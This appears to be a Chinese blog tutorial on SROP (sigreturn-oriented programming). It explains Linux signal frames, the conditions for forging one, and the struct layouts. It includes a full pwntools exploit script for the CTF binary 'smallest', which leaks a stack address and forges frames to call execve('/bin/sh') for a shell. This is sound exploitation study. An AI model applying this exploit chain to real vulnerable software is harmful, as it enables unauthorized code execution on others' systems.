前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-SROP学习

ROP-SROP学习

作者头像
偏有宸机
发布2020-11-04 10:25:53
1.2K0
发布2020-11-04 10:25:53
举报
文章被收录于专栏:宸机笔记宸机笔记

SROP 原理

SROP(Sigreturn Oriented Programming)

其中sigreturn是一个系统调用,在类unix系统发生signal时候会被间接地调用。

Signal机制

是类unix系统中进程之间相互传递信息的一种方法。一般称为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。步骤如下:

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核状态。
  2. 内核为该进程保存相应上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。
  3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15
偷图王就是我了
偷图王就是我了

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

这一段就是signal frame

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

利用方法

思路

仔细观察这个过程可以发现 内核主要做的就是为进程保存上下文,并且恢复上下文。而主要的变动都在Signal Frame中。需要注意的有:

  • Signal frame 被保存在用户的地址空间中,所以用户是可以读写的
  • 由于内核与信号处理程序无关,它并不会去记录这个signal对应的signal frame,所以当执行sigreturn系统调用时,此时的signal frame并不一定是之前的内核为用户进程保存的signal frame。

假设可以控制用户进程的栈,那么就可以伪造一个signal frame,当系统执行完sigreturn系统调用之后,会执行一系列pop指令以便恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时便会得到shell

如果需要多次使用该方法

只需要修改signal frame中的两处即可:

  • 将signal frame中的RSP指向下一个signal frame的地址
  • 把原来的rip指向的syscall 换成syscall;ret

条件

  • 可以通过栈溢出来控制栈的内容
  • 需要找到相应的地址
    • 字符串地址(泄露栈得出)
    • Sigreturn的地址(若找不到该gadgets可以将rax置为15,然后使用syscall来调用Sigreturn())
    • syscall的地址
    • Signal frame的地址(使用SigreturnFrame()伪造)
  • 足够大的空间以便塞下整个sigal frame
不同类unix的sigreturn_gadget
不同类unix的sigreturn_gadget

过程

  1. 伪造signal frame结构,push到栈中。其中需要将对应寄存器的值修改该为系统调用的相关参数
    • Eax/Rax 指向需要用到的系统调用号
    • Rip/Eip 指向syscall的地址
    • ebx/rdi 指向需要用到的字符串
    • Esp ebp和rsp rbp不可直接设置为0
  2. 将返回地址构造为sigreturn的地址(或相关gadget)
  3. 最后sigreturn的系统调用执行完后,就直接可以执行自定义的系统调用了

示例

以春秋杯的smallest为例,主要利用过程为

  • 先泄露stack的地址
  • 将payload写入到栈中
  • 执行execve系统调用
代码语言:javascript
复制
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sh = process("./smallest")
syscall_ret = 0x00000000004000be
start_addr = 0x00000000004000b0
### 利用write,leak stack_addr
payload = p64(start_addr)*3#先构造三次跳转
sh.send(payload)
sh.send('\xb3')
#设置rax=1,即 将返回地址改为0x00000000004000b3即 跳过xor rax,rax,以保持rax=1
#使原有的read(0,rsp,400)变为write(1,rsp,400)
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr:0x%x',stack_addr)
### 使用read将后续的payload写到栈地址上
sigframe = SigreturnFrame()
sigframe.rax=constants.SYS_read #read的系统调用号
sigframe.rdi =0                 #参数1
sigframe.rsi = stack_addr       #参数2
sigframe.rdx = 0x400            #参数3
sigframe.rsp = stack_addr       #返回到栈上,也就是下面的sigreturn_addr
sigframe.rip = syscall_ret      #syscall;ret
payload = p64(start_addr)+'a'*8+str(sigframe)
sh.send(payload)
### sigreturn_addr  控制输入字符为15,signal的系统调用号
sigreturn = p64(syscall_ret)+"b"*7
sh.send(sigreturn)
### execve("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr)+"b"*8+str(sigframe)
payload += '\x00'*(0x120-len(payload))+'/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

leak-stack

正常情况下的泄露栈地址操作如下

  • 当程序开始运行时,寄存器RSI指向的便是栈地址
  • 可以利用read传入某个参数,再泄露该地址,最后把泄露出的地址-RSI的地址便是该参数距离栈的偏移量
  • 泄露出的地址-栈中偏移量=参数在栈中的地址

ucontext_t 结构体

X86

代码语言:javascript
复制
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

X64

代码语言:javascript
复制
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-03-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SROP 原理
    • Signal机制
    • 利用方法
      • 思路
        • 条件
          • 过程
          • 示例
          • leak-stack
          • ucontext_t 结构体
            • X86
              • X64
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档